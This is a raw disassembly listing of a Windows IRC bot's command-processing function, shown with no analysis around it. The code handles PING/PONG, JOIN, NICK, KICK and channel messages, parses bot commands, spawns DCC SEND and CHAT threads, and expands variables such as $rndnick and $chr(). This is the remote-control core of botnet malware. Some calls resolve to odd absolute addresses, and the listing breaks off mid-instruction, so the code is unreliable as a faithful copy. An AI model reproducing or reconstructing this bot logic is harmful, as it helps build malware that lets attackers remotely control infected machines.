var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2690000h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 26908FFh push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2690000h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call near ptr 26908FFh nop push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push 